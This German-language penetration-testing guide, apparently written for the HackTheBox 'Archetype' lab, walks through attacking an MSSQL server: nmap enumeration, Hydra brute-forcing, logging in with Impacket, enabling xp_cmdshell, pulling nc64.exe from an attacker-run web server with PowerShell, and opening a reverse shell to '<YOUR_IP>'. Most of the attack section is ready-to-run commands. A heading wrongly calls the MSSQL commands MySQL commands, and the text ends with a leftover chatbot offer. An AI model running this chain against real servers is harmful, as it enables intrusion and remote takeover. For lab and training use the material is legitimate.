1433 - MSSQL
Einführung
Microsoft SQL Server (MSSQL) ist ein relationales Datenbankmanagementsystem, das in vielen Windows-Umgebungen zum Einsatz kommt. In Penetration Tests kann ein erreichbarer MSSQL-Server einen vielversprechenden Angriffsvektor darstellen, insbesondere wenn Login-Daten bekannt oder erratbar sind.
Ziel dieser Anleitung ist es, zu zeigen, wie man sich mit MSSQL verbindet, Berechtigungen prüft, die Kommandoausführung über xp_cmdshell
ermöglicht und schließlich eine Reverse Shell erhält.
Typische Fehlkonfigurationen in MSSQL-Umgebungen
Keine Verschlüsselung zwischen MSSQL-Clients und dem Server
Selbstsignierte Zertifikate bei aktivierter Verschlüsselung (anfällig für Spoofing)
Verwendung von Named Pipes anstelle von TCP (kann für Lateral Movement missbraucht werden)
Schwache oder Standard-Zugangsdaten für den
sa
-Account (z. B.sa:sa
)Nicht deaktivierter
sa
-Account, obwohl nicht benötigtVeraltete MSSQL-Versionen mit bekannten Schwachstellen
Fehlende Rollen- und Rechteprüfung nach Änderungen (z. B. alte Benutzer mit
sysadmin
-Rechten)Unnötig aktivierte Features, z. B.
xp_cmdshell
oderOLE Automation Procedures
Fehlende Netzwerksegmentierung, MSSQL ist direkt aus anderen Netzwerken erreichbar
Logging und Auditing deaktiviert oder unzureichend konfiguriert
Grundlegende MySQL-Befehle
SELECT name FROM master..sysdatabases;
Listet alle verfügbaren Datenbanken.
USE <datenbank>;
Wechselt zur angegebenen Datenbank.
SELECT name FROM sysobjects WHERE type='U';
Zeigt alle Tabellen der aktuellen Datenbank.
EXEC sp_columns <tabelle>;
Listet Spalten einer bestimmten Tabelle.
SELECT * FROM <tabelle>;
Zeigt den gesamten Inhalt einer Tabelle.
SELECT * FROM <tabelle> WHERE <spalte> = '<wert>';
Sucht nach einem spezifischen Wert in einer Tabelle.
SELECT SYSTEM_USER;
Zeigt den aktuellen MSSQL-Benutzernamen.
SELECT is_srvrolemember('sysadmin');
Prüft, ob der aktuelle Benutzer sysadmin
-Rechte hat.
EXEC xp_cmdshell 'whoami';
Führt einen Windows-Befehl über xp_cmdshell
aus (falls aktiviert).
Enumeration von MSSQL
sudo nmap -sV -sC -p1433 --script=ms-sql* <Ziel-IP>
oder via Metasploit
use auxiliary/scanner/mssql/mssql_ping
set RHOSTS <ZIEL-IP>
run
Bruteforcing
Mit Hydra:
hydra -L users.txt -P passwords.txt mssql://<Ziel-IP> -V
Verbindung zum MSSQL-Server mit mssqlclient.py
Wir nutzen das Tool mssqlclient.py
aus der Impacket-Suite, um eine Verbindung herzustellen.
Befehl:
python3 mssqlclient.py ARCHETYPE/sql_svc@<TARGET_IP> -windows-auth
ARCHETYPE/sql_svc
: Benutzername (Domäne/Benutzer)-windows-auth
: Nutzt Windows Authentication
Warum dieser Schritt wichtig ist: Damit erhalten wir eine interaktive SQL-Shell auf dem Server. Voraussetzung ist ein gültiger Benutzername und Passwort (z. B. aus Konfigurationsdateien).
Rollen und Rechte überprüfen
Nach dem Login prüfen wir, ob wir Systemrechte (sysadmin) haben:
SQL-Befehl:
SELECT is_srvrolemember('sysadmin');
Ausgabe
1
bedeutet, wir sind sysadmin und haben volle Kontrolle.
Warum dieser Schritt wichtig ist:
Nur mit sysadmin-Rechten können wir xp_cmdshell
nutzen und damit Systembefehle ausführen.
Kommandoausführung mit xp_cmdshell vorbereiten
xp_cmdshell
ist standardmäßig deaktiviert. Wir aktivieren sie mit:
SQL-Befehle:
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
Warum dieser Schritt wichtig ist:
Erst durch diese Befehle wird xp_cmdshell
aktiviert und erlaubt die Ausführung von Systemkommandos über SQL.
Erste Systemkommandos ausführen
Testen, ob xp_cmdshell
funktioniert:
EXEC xp_cmdshell 'whoami';
Warum dieser Schritt wichtig ist: Verifiziert, ob wir erfolgreich Kommandos ausführen können und mit welchem Benutzer wir arbeiten.
Reverse Shell vorbereiten
Wir starten einen Python HTTP-Server und Netcat Listener:
sudo python3 -m http.server 80
sudo nc -lvnp 443
Ziel: Die Datei nc64.exe
vom eigenen System auf das Ziel laden.
Download-Verzeichnis herausfinden:
EXEC xp_cmdshell "powershell -c pwd"
Falls kein Schreibrecht, in z. B. C:\Users\sql_svc\Downloads
wechseln.
Datei per PowerShell herunterladen:
EXEC xp_cmdshell "powershell -c cd C:\\Users\\sql_svc\\Downloads; wget http://<YOUR_IP>/nc64.exe -outfile nc64.exe"
Warum dieser Schritt wichtig ist: Wir platzieren ein Binary (Netcat), das uns eine Remote Shell liefert.
Reverse Shell starten
EXEC xp_cmdshell "powershell -c C:\\Users\\sql_svc\\Downloads\\nc64.exe -e cmd.exe <YOUR_IP> 443"
Warum dieser Schritt wichtig ist:
Damit erhalten wir eine interaktive Remote-Shell als Benutzer sql_svc
.
Was jetzt?
Sammle erste Informationen:
whoami
,hostname
,ipconfig
,systeminfo
Suche nach Rechten und Schwachstellen zur Privilege Escalation
Lies die
user.txt
auf dem Desktop des SQL-Nutzers
Zusammenfassung
Verbindung mit
mssqlclient.py
(Impacket)Prüfen der Rechte mit
is_srvrolemember
Aktivieren von
xp_cmdshell
Remote-Kommandos ausführen
Reverse Shell holen per Netcat & PowerShell
Optional: Suche nach LPE (z. B. Unquoted Service Paths, AlwaysInstallElevated, Token Impersonation etc.) zur Privilege Escalation.
Wenn du willst, kann ich daraus auch eine kompakte Cheatsheet-Variante erstellen.
Last updated